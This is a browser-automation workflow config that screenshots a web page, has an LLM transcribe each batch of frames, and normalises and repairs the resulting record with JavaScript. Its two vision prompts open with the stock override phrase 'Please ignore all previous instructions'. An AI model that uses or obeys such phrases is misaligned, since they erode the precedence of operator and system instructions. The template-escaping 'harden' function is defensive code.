optionsInvalid: false - condition: '{{proceed}} = cancel' label: CANCEL VISION READING type: jump to: READING CANCELLED - condition: '{{batches.length}} = 1' label: NOTE SINGLE REQUEST type: say message: 💳 One request covers this page. - label: CONFIGURE READING INSTRUCTIONS type: group steps: - label: SELECT READING INSTRUCTIONS type: ask message: >- Any instructions for the reading? SKIP reads the whole page in full detail. Anything you type takes precedence over that, and is carried out on the finished record as well. param: focusChoice options: - label: ⏭️ SKIP · read everything, in as much detail as possible value: skip - value: $custom default: skip vision: enabled: false mode: area hint: '' send: true optionsInvalid: false - label: BUILD READING INSTRUCTIONS type: js args: focusChoice code: >- // FULL PAGE VISION · READING INSTRUCTIONS // One answer, given before a single frame is read, and it is an INSTRUCTION rather than a // choice from a list. There is nothing to pick because there is nothing to narrow down: the // reading always extracts everything it can see, in the greatest detail it can manage. That // is the floor, not an option. // // SKIP means exactly that floor and nothing added. // // Anything typed keeps the whole floor - the same completeness, the same detail, the same // record format - and is laid on top of it with PRECEDENCE. Precedence is the point and it // cuts both ways: // * "rebuild this page one to one, design and fonts included" makes the reading write down // typefaces, sizes, colours and spacing it would otherwise only have implied; // * "do not extract the images, text only" makes it stop describing pictures, and that is // allowed to override the format above, because the person reading the record said so. // // This is why the instruction is asked HERE and not after the reading. The reading is the // only step that ever sees the pixels. Everything downstream works from the words it wrote, // and a picture that was never described cannot be described later, however precisely it is // asked for. function harden(value) { return String(value == null ? '' : value).replace(/\{\{(?!\\)/g, '{{\\'); } const raw = String(args.focusChoice == null ? '' : args.focusChoice); const flat = raw.replace(/\s+/g, ' ').trim(); const out = { active: 'no', answer: 'no', read: '', request: '' }; if (flat === '' || flat.toLowerCase() === 'skip') return out; // The user's own words, used as written rather than interpreted, armoured like any other // text that reaches a prompt, and capped so a pasted essay cannot crowd the reading out of // the model's attention. Line breaks are kept: an instruction is often a small list. const instruction = harden(raw.replace(/\r/g, '').trim().slice(0, 1200)); out.active = 'yes'; out.answer = 'yes'; out.request = instruction; out.read = [\ '[INSTRUCTIONS · HIGHEST PRIORITY]',\ 'Everything above still holds: the same completeness, the same detail, the same record format.',\ 'On top of it, and ahead of it, the person this record is being written for has asked for the following. Where it asks for more than the format above, go further. Where it contradicts the format above, IT WINS - if it says to leave something out, leave it out; if it says to record something the format does not mention, record it anyway.',\ '',\ instruction,\ ''\ ].join('\n'); return out; param: focus timeout: 30000 onFailure: '' silent: true - label: ARM THE INSTRUCTION ANSWER type: calc func: set param: pendingAnswer value: '{{focus.answer}}' format: '' - condition: '{{focus.active}} = yes' label: NOTE READING INSTRUCTIONS type: say message: >- 🎯 Your instructions are steering the reading and will be carried out on the finished record. - label: READ SCREENSHOT BATCHES type: group steps: - label: ANNOUNCE BATCH READING type: say message: 👁️ Reading {{batches.length}} segment(s)… - label: START SEGMENT COUNTER type: calc func: set param: segment value: '0' format: '' - label: BATCH READING LOOP type: loop list: batches steps: - label: MATERIALIZE BATCH type: calc func: set param: batchImages value: '{{item}}' format: '' - label: COUNT SEGMENT type: calc func: increment param: segment delta: '1' - label: COMPUTE SEGMENT RANGE type: js args: segment, batchSize, shotCount code: >- // FULL PAGE VISION · SEGMENT RANGE // Which frames a segment is made of. The record marker carries this range, so a citation // that says "segment 3" also says "frames 21 to 30" - and the repair step knows exactly // where on the page it has to go back to when a segment could not be read. const SIZE = Math.max(1, Math.min(10, Number(args.batchSize) || 10)); const seg = Math.max(1, Number(String(args.segment || '').replace(/[^0-9]/g, '')) || 1); const total = Math.max(0, Number(String(args.shotCount || '').replace(/[^0-9]/g, '')) || 0); const from = (seg - 1) * SIZE + 1; const to = total > 0 ? Math.min(total, seg * SIZE) : seg * SIZE; const count = Math.max(0, to - from + 1); return { from: from, to: to, count: count, size: SIZE, label: 'frames ' + from + '-' + to }; param: range timeout: 30000 onFailure: '' silent: true - label: RESET REPAIR SERIES type: calc func: set param: repairImages value: '' format: '' - label: RESET REPAIR PLAN type: calc func: set param: repairPlan value: '' format: '' - label: RESET REPAIR COUNT FOR SEGMENT type: calc func: set param: repairCount value: '' format: '' - label: CLEAR SEGMENT SLOT type: calc func: set param: segmentNotes value: '' format: '' - label: CLEAR RAW READING type: calc func: set param: rawSegment value: '' format: '' - label: READ SEGMENT type: gpt prompt: >- Please ignore all previous instructions. Write only in {{outputLanguage}}. Attached are {{range.count}} screenshots of one web page, in order, top to bottom. They are frames {{range.from}} to {{range.to}} of {{shotCount}}. Consecutive frames are exact one-screen steps and do **not** overlap, so they fit together edge to edge like the pages of a book. You are the only reader of these pixels. Turn them into a complete, faithful record. [OUTPUT SKELETON - follow it exactly, it is not a suggestion] Write one block per screenshot, in order. Each block begins with a heading of exactly this shape: #### Frame N N is the absolute frame number. The first attached image is Frame {{range.from}}, the second is Frame {{range.from}} plus one, and the last is Frame {{range.to}}. Never restart the count at 1. Never write Panel, Image, Screenshot, Slide, Page or Figure in place of Frame. Produce exactly {{range.count}} such headings, one per attached image, even if an image is blank. Under each heading write bullet lines only. Every bullet starts with one of these eight labels and nothing else: - **Heading:** a heading or title as it appears on screen - **Text:** any writing - body copy, list items, captions, labels, footnotes, speech bubbles, narration boxes, sound effects, system messages. Name the kind in the line when it matters, for example: speech bubble - "TAKE MY HEART." - **Table:** followed by a markdown table on the next lines - **Data:** numbers, prices, dates, scores, ratings, measurements, chart values, with their units - **Visual:** a photograph, illustration, icon, logo, avatar, chart, diagram, map or screenshot, and what it depicts and conveys - **UI:** buttons, links, tabs, menus, form fields, navigation, pagination - **Cut:** an element that is sliced by the frame edge and continues in the next frame - **Gap:** [unreadable] - anything cut off, blurred or illegible [RULES] - Detail is the entire point of this record. It is the only thing anyone will have afterwards; the screenshots are discarded once you are done. Wherever you can choose between a short description and a thorough one, write the thorough one. - Describe every picture the way you would for someone who cannot see it: what it shows, how it is composed, its colours and its style, any writing inside it, and what it is there to communicate. An illustration, a photograph, an avatar, an icon that carries meaning, a chart, a diagram, a map, a screenshot - each one gets its own line and its own description, never a label like "an image". - Record the visual form alongside the content wherever the form carries meaning: how large a heading is against the body text around it, which typeface it appears to be set in, the colours of text, backgrounds, borders and buttons, how much space separates the blocks, and how the blocks are arranged across the screen. - Transcribe all visible text verbatim. Keep numbers, units, dates and proper nouns exactly as shown: never round, never normalise, never translate them. - Read charts off the pixels: name the axes, the series and every value you can see. - Keep the reading order and the visual hierarchy of each frame. - The frames do not overlap, so nothing in them is a duplicate. A sentence, a table row or an image that is cut off at the bottom edge of one frame continues at the top of the next: note it once with **Cut:** and write the joined, complete version in the frame where it finishes. - Bars pinned to the screen - navigation, cookie banners, sticky footers, chat bubbles, a series or chapter title reprinted above every screen - do come back on every frame. Record each of them once, in the first frame it appears in, and ignore it afterwards. - Never invent anything you cannot see. - Do not write a document title, a source line, a preamble, a summary or a closing remark. The record already has a header. Start with `#### Frame {{range.from}}` and end with the last bullet of `#### Frame {{range.to}}`. {{focus.read}} [SCREENSHOTS]: {{batchImages}} [RECORD]: param: rawSegment isolated: true silent: true - label: SHAPE THE READING type: js args: rawSegment, segment, batchSize, shotCount code: >- // FULL PAGE VISION · SHAPE SEGMENT // The record has to look the same in every segment, because everything downstream reads // it: the citations, the rebuild, the data extraction, the export. Left to itself a model // invents a new layout per call - one segment comes back as "### [Panel 1]", the next as a // flat bullet list with no headings at all, the next as "[FRAME 1]" - and every one of them // starts counting at one again, so "frame 3" means three different places in one record. // // The prompt prescribes the shape. This step enforces it, deterministically and for free: // * every heading variant a model reaches for is recognised and rewritten to `#### Frame N` // * N is the ABSOLUTE frame number, so frame 47 is called frame 47 in every segment // * the bullet labels are folded into one closed vocabulary, with the original wording // preserved inside the line so nothing is lost // * a document title or source line that the model reprinted per segment is dropped, // because the record already carries one at the top // // THIS STEP MAY NEVER REFUSE A READING. // // It used to have a strict mode that returned nothing when the model had not produced exactly // one block per screenshot, on the theory that one more attempt would come back tidier. That // was a serious mistake: the shape of the record is cosmetic, the reading is what costs money, // and wiring the cheap thing to the expensive one turned a formatting nicety into a gate on // the whole ladder. A model that writes twenty panels instead of ten frames is not a failed // reading - it is a reading that needs renumbering, which happens here for free. With a forty // percent shape-deviation rate measured on real output, thirty segments became sixty-six model // calls instead of thirty, every one of them silent, plus a fresh ten-frame capture each time. // From the outside that is indistinguishable from a hang. // // So: whatever comes in, something usable comes out. Too many blocks are mapped onto the // frames proportionally, too few are numbered from the start of the segment and the shortfall // is stated, none at all are filed under the segment's frame span. The only empty answer is // for empty input, which is what the reading ladder above actually needs to know - and the // whole body is wrapped so that even an unforeseen error hands the raw reading back intact // rather than costing a request. function harden(value) { // Text lifted off a page can contain the engine's own {{parameter}} syntax. Left as it is, // it would be executed the next time this text is interpolated - fetching pages, running // searches - once per occurrence and once per answer. The documented escape makes the // braces literal without changing how the text reads. Idempotent by design. return String(value == null ? '' : value).replace(/\{\{(?!\\)/g, '{{\\'); } const SIZE = Math.max(1, Math.min(10, Number(args.batchSize) || 10)); const seg = Math.max(1, Number(String(args.segment || '').replace(/[^0-9]/g, '')) || 1); const totalFrames = Math.max(0, Number(String(args.shotCount || '').replace(/[^0-9]/g, '')) || 0); const from = (seg - 1) * SIZE + 1; const to = totalFrames > 0 ? Math.min(totalFrames, seg * SIZE) : seg * SIZE; const want = Math.max(1, to - from + 1); const original = String(args.rawSegment == null ? '' : args.rawSegment).replace(/\r/g, '').trim(); if (original === '') return ''; let raw = original; try { // A model that is told "do not write a preamble" still sometimes writes one. Fenced output, // a repeated document title, a source line and a horizontal rule at the very top are all // duplicates of information the record already holds once. raw = raw.replace(/^```[a-z]*\s*\n/i, '').replace(/\n```\s*$/i, ''); const lead = raw.split('\n'); while (lead.length > 0) { const line = lead[0].trim(); const drop = line === '' || line === '---' || /^#{1,3}\s+\S/.test(line) && lead.length > 3 && !/frame|panel|image|screenshot|slide|shot/i.test(line) || /^[-*]?\s*\**\s*(source|url|page|title|link)\s*\**\s*:/i.test(line) || /^(here (is|are)|below (is|are)|sure[,!.]|certainly[,!.]|i('| wi)ll |this (is|segment))/i.test(line); if (!drop) break; lead.shift(); } raw = lead.join('\n').trim(); if (raw === '') return ''; // Canonical bullet labels. The original wording is kept inside the line, so a speech bubble // is still recognisable as a speech bubble - it is simply filed under Text like every other // piece of transcribed writing. const LABELS = [\ ['Heading', /^(heading|title|header|section title|chapter title)$/i, false],\ ['Table', /^(table|grid|matrix|comparison)$/i, false],\ ['Data', /^(data|numbers?|values?|stats?|statistics|metrics?|price|prices|pricing|score|scores|rank(ing)?s?)$/i, false],\ ['UI', /^(ui|ui element|navigation|navigation ui|nav|nav bar|navbar|menu|button|buttons|link|links|form|form field|input|control|controls|tab|tabs|toolbar|footer|footer nav|breadcrumb|pagination)$/i, false],\ ['Visual', /^(visual|illustration|image|picture|photo|photograph|art|artwork|drawing|panel art|graphic|icon|logo|avatar|chart|diagram|figure|screenshot|map)$/i, true],\ ['Text', /^(text|speech bubble|speech|dialogue|dialog|narration|narration box|narrative box|text box|textbox|caption|body|body text|paragraph|quote|sound effect|sfx|system text|system window|system message|label|note|footnote|banner|banner box|top text box|bottom banner box|notification)$/i, true],\ ['Cut', /^(cut|continues|continued|continuation|bridged|carry over|spans)$/i, false],\ ['Gap', /^(gap|unreadable|illegible|blank|empty|missing|cut off)$/i, false]\ ]; function normaliseLine(line) { const m = line.match(/^(\s*)([-*+]|\d+[.)])\s+\**\s*([A-Za-z][A-Za-z /_-]{1,40}?)\s*\**\s*:\s*\**\s*(.*)$/); if (!m) return line; const indent = m[1]; const bullet = /^\d/.test(m[2]) ? '-' : '-'; const rawLabel = m[3].trim(); let rest = m[4]; for (let i = 0; i < LABELS.length; i++) { if (!LABELS[i][1].test(rawLabel)) continue; const canonical = LABELS[i][0]; const keepOriginal = LABELS[i][2] && rawLabel.toLowerCase() !== canonical.toLowerCase(); const prefix = keepOriginal ? rawLabel.toLowerCase() + ' — ' : ''; return indent + bullet + ' **' + canonical + ':** ' + prefix + rest.trim(); } return indent + bullet + ' **' + rawLabel + ':** ' + rest.trim(); } // Every heading shape a model reaches for, in one expression. const HEAD = /^[\s>*_]*(?:#{1,6})?[\s*_]*\[?\s*(?:frame|panel|image|screenshot|screen|slide|page|shot|fig(?:ure)?)\s*[#:\-]?\s*(\d+)\s*\]?\s*[:.\-]?[\s*_]*$/i; const lines = raw.split('\n'); const blocks = []; let current = null; let preamble = []; for (let i = 0; i < lines.length; i++) { const m = lines[i].match(HEAD); if (m) { current = { body: [] }; blocks.push(current); continue; } if (current === null) preamble.push(lines[i]); else current.body.push(lines[i]); } if (blocks.length === 0) { // No frame boundaries at all. The content is intact, only the per-frame granularity is // gone, so it is filed under the segment's frame span and marked as such rather than // being silently renumbered into something that would be wrong. const body = raw.split('\n').map(function (l) { return normaliseLine(l); }).join('\n'); return harden('#### Frames ' + from + '-' + to + '\n' + '- **Gap:** the reading did not separate these ' + want + ' frames; the content below covers all of them together.\n' + body.trim() + '\n'); } if (preamble.join('').trim() !== '') { blocks[0].body = preamble.concat(blocks[0].body); } // Mapping blocks onto frames. Equal counts is the normal case and maps one to one. More // blocks than images means the model cut the screenshots into panels: they are distributed // proportionally, so panels eleven and twelve of twenty land on frame six rather than all // surplus being dumped on the last one. Fewer blocks means it merged some: they are numbered // from the start of the segment and the shortfall is stated instead of being papered over. const out = []; let lastNumber = -1; for (let i = 0; i < blocks.length; i++) { const number = blocks.length > want ? Math.min(to, from + Math.floor(i * want / blocks.length)) : Math.min(to, from + i); const body = blocks[i].body .map(function (l) { return normaliseLine(l); }) .join('\n') .replace(/\n{3,}/g, '\n\n') .trim(); if (number === lastNumber && out.length > 0) { if (body) out[out.length - 1] += '\n' + body; continue; } lastNumber = number; out.push('#### Frame ' + number + '\n' + (body || '- **Gap:** nothing legible in this frame.')); } if (blocks.length < want) { out.push('- **Gap:** the reading separated ' + blocks.length + ' of the ' + want + ' frames in this segment; the rest were merged into the blocks above.'); } return harden(out.join('\n\n').replace(/\n{3,}/g, '\n\n').trim() + '\n'); } catch (e) { // Shaping is a convenience. If anything in it goes wrong the reading still has to reach the // record, hardened, rather than being reported as a failure that costs another request. return harden('#### Frames ' + from + '-' + to + '\n' + '- **Gap:** the reading could not be shaped (' + String((e && e.message) || e) + '); it is filed here unchanged.\n' + original); } param: segmentNotes timeout: 30000 onFailure: '' silent: true - condition: '{{segmentNotes}} =' label: CLEAR RAW BEFORE RETRY type: calc func: set param: rawSegment value: '' format: '' - condition: '{{segmentNotes}} =' label: RETRY SEGMENT type: gpt prompt: >- Please ignore all previous instructions. Write only in {{outputLanguage}}. Attached are {{range.count}} screenshots of one web page, in order, top to bottom. They are frames {{range.from}} to {{range.to}} of {{shotCount}}. Consecutive frames are exact one-screen steps and do **not** overlap, so they fit together edge to edge like the pages of a book. You are the only reader of these pixels. Turn them into a complete, faithful record. [OUTPUT SKELETON - follow it exactly, it is not a suggestion] Write one block per screenshot, in order. Each block begins with a heading of exactly this shape: #### Frame N N is the absolute frame number. The first attached image is Frame {{range.from}}, the second is Frame {{range.from}} plus one, and the last is Frame {{range.to}}. Never restart the count at 1. Never write Panel, Image, Screenshot, Slide, Page or Figure in place of Frame. Produce exactly {{range.count}} such headings, one per attached image, even if an image is blank. Under each heading write bullet lines only. Every bullet starts with one of these eight labels and nothing else: - **Heading:** a heading or title as it appears on screen - **Text:** any writing - body copy, list items, captions, labels, footnotes, speech bubbles, narration boxes, sound effects, system messages. Name the kind in the line when it matters, for example: speech bubble - "TAKE MY HEART." - **Table:** followed by a markdown table on the next lines - **Data:** numbers, prices, dates, scores, ratings, measurements, chart values, with their units - **Visual:** a photograph, illustration, icon, logo, avatar, chart, diagram, map or screenshot, and what it depicts and conveys - **UI:** buttons, links, tabs, menus, form fields, navigation, pagination - **Cut:** an element that is sliced by the frame edge and continues in the next frame - **Gap:** [unreadable] - anything cut off, blurred or illegible [RULES] - Detail is the entire point of this record. It is the only thing anyone will have afterwards; the screenshots are discarded once you are done. Wherever you can choose between a short description and a thorough one, write the thorough one. - Describe every picture the way you would for someone who cannot see it: what it shows, how it is composed, its colours and its style, any writing inside it, and what it is there to communicate. An illustration, a photograph, an avatar, an icon that carries meaning, a chart, a diagram, a map, a screenshot - each one gets its own line and its own description, never a label like "an image". - Record the visual form alongside the content wherever the form carries meaning: how large a heading is against the body text around it, which typeface it appears to be set in, the colours of text, backgrounds, borders and buttons, how much space separates the blocks, and how the blocks are arranged across the screen. - Transcribe all visible text verbatim. Keep numbers, units, dates and proper nouns exactly as shown: never round, never normalise, never translate them. - Read charts off the pixels: name the axes, the series and every value you can see. - Keep the reading order and the visual hierarchy of each frame. - The frames do not overlap, so nothing in them is a duplicate. A sentence, a table row or an image that is cut off at the bottom edge of one frame continues at the top of the next: note it once with **Cut:** and write the joined, complete version in the frame where it finishes. - Bars pinned to the screen - navigation, cookie banners, sticky footers, chat bubbles, a series or chapter title reprinted above every screen - do come back on every frame. Record each of them once, in the first frame it appears in, and ignore it afterwards. - Never invent anything you cannot see. - Do not write a document title, a source line, a preamble, a summary or a closing remark. The record already has a header. Start with `#### Frame {{range.from}}` and end with the last bullet of `#### Frame {{range.to}}`. {{focus.read}} [SCREENSHOTS]: {{batchImages}} [RECORD]: param: rawSegment isolated: true silent: true - condition: '{{segmentNotes}} =' label: SHAPE THE RETRY type: js args: rawSegment, segment, batchSize, shotCount code: >- // FULL PAGE VISION · SHAPE SEGMENT // The record has to look the same in every segment, because everything downstream reads // it: the citations, the rebuild, the data extraction, the export. Left to itself a model // invents a new layout per call - one segment comes back as "### [Panel 1]", the next as a // flat bullet list with no headings at all, the next as "[FRAME 1]" - and every one of them // starts counting at one again, so "frame 3" means three different places in one record. // // The prompt prescribes the shape. This step enforces it, deterministically and for free: // * every heading variant a model reaches for is recognised and rewritten to `#### Frame N` // * N is the ABSOLUTE frame number, so frame 47 is called frame 47 in every segment // * the bullet labels are folded into one closed vocabulary, with the original wording // preserved inside the line so nothing is lost // * a document title or source line that the model reprinted per segment is dropped, // because the record already carries one at the top // // THIS STEP MAY NEVER REFUSE A READING. // // It used to have a strict mode that returned nothing when the model had not produced exactly // one block per screenshot, on the theory that one more attempt would come back tidier. That // was a serious mistake: the shape of the record is cosmetic, the reading is what costs money, // and wiring the cheap thing to the expensive one turned a formatting nicety into a gate on // the whole ladder. A model that writes twenty panels instead of ten frames is not a failed // reading - it is a reading that needs renumbering, which happens here for free. With a forty // percent shape-deviation rate measured on real output, thirty segments became sixty-six model // calls instead of thirty, every one of them silent, plus a fresh ten-frame capture each time. // From the outside that is indistinguishable from a hang. // // So: whatever comes in, something usable comes out. Too many blocks are mapped onto the // frames proportionally, too few are numbered from the start of the segment and the shortfall // is stated, none at all are filed under the segment's frame span. The only empty answer is // for empty input, which is what the reading ladder above actually needs to know - and the // whole body is wrapped so that even an unforeseen error hands the raw reading back intact // rather than costing a request. function harden(value) { // Text lifted off a page can contain the engine's own {{parameter}} syntax. Left as it is, // it would be executed the next time this text is interpolated - fetching pages, running // searches - once per occurrence and once per answer. The documented escape makes the // braces literal without changing how the text reads. Idempotent by design. return String(value == null ? '' : value).replace(/\{\{(?!\\)/g, '{{\\'); } const SIZE = Math.max(1, Math.min(10, Number(args.batchSize) || 10)); const seg = Math.max(1, Number(String(args.segment || '').replace(/[^0-9]/g, '')) || 1); const totalFrames = Math.max(0, Number(String(args.shotCount || '').replace(/[^0-9]/g, '')) || 0); const from = (seg - 1) * SIZE + 1; const to = totalFrames > 0 ? Math.min(totalFrames, seg * SIZE) : seg * SIZE; const want = Math.max(1, to - from + 1); const original = String(args.rawSegment == null ? '' : args.rawSegment).replace(/\r/g, '').trim(); if (original === '') return ''; let raw = original; try { // A model that is told "do not write a preamble" still sometimes writes one. Fenced output, // a repeated document title, a source line and a horizontal rule at the very top are all // duplicates of information the record already holds once. raw = raw.replace(/^```[a-z]*\s*\n/i, '').replace(/\n```\s*$/i, ''); const lead = raw.split('\n'); while (lead.length > 0) { const line = lead[0].trim(); const drop = line === '' || line === '---' || /^#{1,3}\s+\S/.test(line) && lead.length > 3 && !/frame|panel|image|screenshot|slide|shot/i.test(line) || /^[-*]?\s*\**\s*(source|url|page|title|link)\s*\**\s*:/i.test(line) || /^(here (is|are)|below (is|are)|sure[,!.]|certainly[,!.]|i('| wi)ll |this (is|segment))/i.test(line); if (!drop) break; lead.shift(); } raw = lead.join('\n').trim(); if (raw === '') return ''; // Canonical bullet labels. The original wording is kept inside the line, so a speech bubble // is still recognisable as a speech bubble - it is simply filed under Text like every other // piece of transcribed writing. const LABELS = [\ ['Heading', /^(heading|title|header|section title|chapter title)$/i, false],\ ['Table', /^(table|grid|matrix|comparison)$/i, false],\ ['Data', /^(data|numbers?|values?|stats?|statistics|metrics?|price|prices|pricing|score|scores|rank(ing)?s?)$/i, false],\ ['UI', /^(ui|ui element|navigation|navigation ui|nav|nav bar|navbar|menu|button|buttons|link|links|form|form field|input|control|controls|tab|tabs|toolbar|footer|footer nav|breadcrumb|pagination)$/i, false],\ ['Visual', /^(visual|illustration|image|picture|photo|photograph|art|artwork|drawing|panel art|graphic|icon|logo|avatar|chart|diagram|figure|screenshot|map)$/i, true],\ ['Text', /^(text|speech bubble|speech|dialogue|dialog|narration|narration box|narrative box|text box|textbox|caption|body|body text|paragraph|quote|sound effect|sfx|system text|system window|system message|label|note|footnote|banner|banner box|top text box|bottom banner box|notification)$/i, true],\ ['Cut', /^(cut|continues|continued|continuation|bridged|carry over|spans)$/i, false],\ ['Gap', /^(gap|unreadable|illegible|blank|empty|missing|cut off)$/i, false]\ ]; function normaliseLine(line) { const m = line.match(/^(\s*)([-*+]|\d+[.)])\s+\**\s*([A-Za-z][A-Za-z /_-]{1,40}?)\s*\**\s*:\s*\**\s*(.*)$/); if (!m) return line; const indent = m[1]; const bullet = /^\d/.test(m[2]) ? '-' : '-'; const rawLabel = m[3].trim(); let rest = m[4]; for (let i = 0; i < LABELS.length; i++) { if (!LABELS[i][1].test(rawLabel)) continue; const canonical = LABELS[i][0]; const keepOriginal = LABELS[i][2] && rawLabel.toLowerCase() !== canonical.toLowerCase(); const prefix = keepOriginal ? rawLabel.toLowerCase() + ' — ' : ''; return indent + bullet + ' **' + canonical + ':** ' + prefix + rest.trim(); } return indent + bullet + ' **' + rawLabel + ':** ' + rest.trim(); } // Every heading shape a model reaches for, in one expression. const HEAD = /^[\s>*_]*(?:#{1,6})?[\s*_]*\[?\s*(?:frame|panel|image|screenshot|screen|slide|page|shot|fig(?:ure)?)\s*[#:\-]?\s*(\d+)\s*\]?\s*[:.\-]?[\s*_]*$/i; const lines = raw.split('\n'); const blocks = []; let current = null; let preamble = []; for (let i = 0; i < lines.length; i++) { const m = lines[i].match(HEAD); if (m) { current = { body: [] }; blocks.push(current); continue; } if (current === null) preamble.push(lines[i]); else current.body.push(lines[i]); } if (blocks.length === 0) { // No frame boundaries at all. The content is intact, only the per-frame granularity is // gone, so it is filed under the segment's frame span and marked as such rather than // being silently renumbered into something that would be wrong. const body = raw.split('\n').map(function (l) { return normaliseLine(l); }).join('\n'); return harden('#### Frames ' + from + '-' + to + '\n' + '- **Gap:** the reading did not separate these ' + want + ' frames; the content below covers all of them together.\n' + body.trim() + '\n'); } if (preamble.join('').trim() !== '') { blocks[0].body = preamble.concat(blocks[0].body); } // Mapping blocks onto frames. Equal counts is the normal case and maps one to one. More // blocks than images means the model cut the screenshots into panels: they are distributed // proportionally, so panels eleven and twelve of twenty land on frame six rather than all // surplus being dumped on the last one. Fewer blocks means it merged some: they are numbered // from the start of the segment and the shortfall is stated instead of being papered over. const out = []; let lastNumber = -1; for (let i = 0; i < blocks.length; i++) { const number = blocks.length > want ? Math.min(to, from + Math.floor(i * want / blocks.length)) : Math.min(to, from + i); const body = blocks[i].body .map(function (l) { return normaliseLine(l); }) .join('\n') .replace(/\n{3,}/g, '\n\n') .trim(); if (number === lastNumber && out.length > 0) { if (body) out[out.length - 1] += '\n' + body; continue; } lastNumber = number; out.push('#### Frame ' + number + '\n' + (body || '- **Gap:** nothing legible in this frame.')); } if (blocks.length < want) { out.push('- **Gap:** the reading separated ' + blocks.length + ' of the ' + want + ' frames in this segment; the rest were merged into the blocks above.'); } return harden(out.join('\n\n').replace(/\n{3,}/g, '\n\n').trim() + '\n'); } catch (e) { // Shaping is a convenience. If anything in it goes wrong the reading still has to reach the // record, hardened, rather than being reported as a failure that costs another request. return harden('#### Frames ' + from + '-' + to + '\n' + '- **Gap:** the reading could not be shaped (' + String((e && e.message) || e) + '); it is filed here unchanged.\n' + original); } param: segmentNotes timeout: 30000 onFailure: '' silent: true - label: SET REPAIR MODE OFF type: calc func: set param: repairMode value: 'no' format: '' - condition: '{{segmentNotes}} =' label: ENABLE SEGMENT REPAIR type: calc func: set param: repairMode value: '{{sourceKind}}' format: '' - condition: - '{{repairMode}} = html' - '{{repairMode}} = pdf' label: ANNOUNCE SEGMENT REPAIR type: say message: >- 🔧 Segment {{segment}} ({{range.label}}) came back empty twice. Photographing those frames again. - condition: - '{{repairMode}} = html' - '{{repairMode}} = pdf' label: PLAN SEGMENT REPAIR type: js args: segment, batchSize, shotCount code: >- // FULL PAGE VISION · PLAN SEGMENT REPAIR // Reached only when a segment came back empty twice. Instead of leaving a hole in the // record, the walk goes back to exactly where that segment was photographed and takes // the frames again - fresh pixels rather than a fourth attempt on the same tokens. // // The position is arithmetic, not a search: frame k sits at startY + (k-1) * stride, // and the stride is the exact one-screen step the walk used. The page has not been // reloaded since, so the lazily loaded content is still there. const SIZE = Math.max(1, Math.min(10, Number(args.batchSize) || 10)); const seg = Math.max(1, Number(String(args.segment || '').replace(/[^0-9]/g, '')) || 1); const total = Math.max(0, Number(String(args.shotCount || '').replace(/[^0-9]/g, '')) || 0); const from = (seg - 1) * SIZE + 1; const to = total > 0 ? Math.min(total, seg * SIZE) : seg * SIZE; const count = Math.max(0, to - from + 1); if (count <= 0) return []; function sleep(ms) { return new Promise(function (r) { setTimeout(r, ms); }); } function docScroller() { return document.scrollingElement || document.documentElement || document.body; } function setPos(el, y) { const target = Math.max(0, Math.round(y)); if (el) { el.scrollTop = target; return; } try { window.scrollTo({ top: target, behavior: 'instant' }); } catch (e) { /* ignore */ } try { window.scrollTo({ top: target, behavior: 'auto' }); } catch (e) { /* ignore */ } try { window.scroll(0, target); } catch (e) { /* ignore */ } const se = docScroller(); if (se) se.scrollTop = target; if (document.body) document.body.scrollTop = target; } const plan = []; for (let i = 0; i < count; i++) plan.push({ n: i + 1, frame: from + i, page: from + i }); // On a PDF the frames come from navigation, not from scrolling, so there is nothing to // seek here and the plan is handed back as it is. try { const S = window.__fpv; if (S && typeof S === 'object') { const el = (S.el && document.contains(S.el)) ? S.el : null; const stride = Math.max(120, Number(S.stride) || 0); const startY = Number(S.startY) || 0; setPos(el, startY + (from - 1) * stride); await sleep(320); S.repairing = true; } } catch (e) { /* the plan still stands */ } return plan; param: repairPlan timeout: 60000 onFailure: '' silent: true - condition: '{{repairMode}} = html' label: REPAIR HTML SEGMENT type: loop list: repairPlan steps: - label: APPEND REPAIR FRAME type: js args: repairImages, view code: >- // FULL PAGE VISION · APPEND REPAIR FRAME // The same accumulation as the main walk, and for the same reason: a comma separated series // held in a real parameter is the only form proven to deliver several images to one prompt. // // arrayValue += ',' + viewValue -> a real parameter -> used in the prompt // // Two rules follow from that and must not be touched: // * the separator is a COMMA. HARPA splits the stored series on commas to resolve the // individual attachments. A newline joined series arrives as a single blob and only one // image reaches the model. // * the token travels as a JS ARGUMENT. Interpolating {{view}} inside a calc step coerces // the reference to text and breaks it, which surfaces as // "Failed to execute 'createImageBitmap'". // // This is the REPAIR variant and it reads its own slot. It used to read args['shots'], which // is not among its arguments: the accumulator was therefore undefined on every pass, the // series restarted from empty each time, and a repair that photographed ten frames handed // exactly one of them to the reading. The slot name is the whole fix. // // It also deliberately ignores the two guards the main walk needs. The frame ceiling counts // the frames of the WALK, and by the time a repair runs the walk has usually reached it, so // applying it here would refuse every repair frame on exactly the runs that need repairing. // The walk's abort flag means the same thing one step further on. The repair cannot run away // regardless: its plan has a fixed length, and a refused frame costs one entry of that plan // and nothing more. const arrayValue = args['repairImages'] || ''; const viewValue = args.view; if (!viewValue) { const S = window.__fpv || (window.__fpv = {}); S.repairMisses = (Number(S.repairMisses) || 0) + 1; throw new Error('repair frame not available yet'); } if (arrayValue === '') return viewValue; return arrayValue + ',' + viewValue; param: repairImages timeout: 60000 onFailure: PACE REPAIR silent: true - label: ADVANCE REPAIR FRAME type: js args: '' code: >- // FULL PAGE VISION · ADVANCE REPAIR FRAME // One exact screen forward inside a repair pass. Deliberately separate from the main // walk: it must not touch the frame counter, the abort flag or the lazy-load logic of // the capture state, because the capture is long finished and only these few frames are // being taken again. function sleep(ms) { return new Promise(function (r) { setTimeout(r, ms); }); } function docScroller() { return document.scrollingElement || document.documentElement || document.body; } function posOf(el) { if (el) return el.scrollTop || 0; const se = docScroller(); const w = typeof window.pageYOffset === 'number' ? window.pageYOffset : 0; return Math.max(w, se ? (se.scrollTop || 0) : 0, document.body ? (document.body.scrollTop || 0) : 0); } function setPos(el, y) { const target = Math.max(0, Math.round(y)); if (el) { el.scrollTop = target; return; } try { window.scrollTo({ top: target, behavior: 'instant' }); } catch (e) { /* ignore */ } try { window.scrollTo({ top: target, behavior: 'auto' }); } catch (e) { /* ignore */ } try { window.scroll(0, target); } catch (e) { /* ignore */ } const se = docScroller(); if (se) se.scrollTop = target; if (document.body) document.body.scrollTop = target; } try { const S = window.__fpv || {}; const el = (S.el && document.contains(S.el)) ? S.el : null; const stride = Math.max(120, Number(S.stride) || (window.innerHeight || 800)); const before = posOf(el); setPos(el, before + stride); await sleep(140); return String(posOf(el)); } catch (e) { return '0'; } param: scratch timeout: 60000 onFailure: '' silent: true - 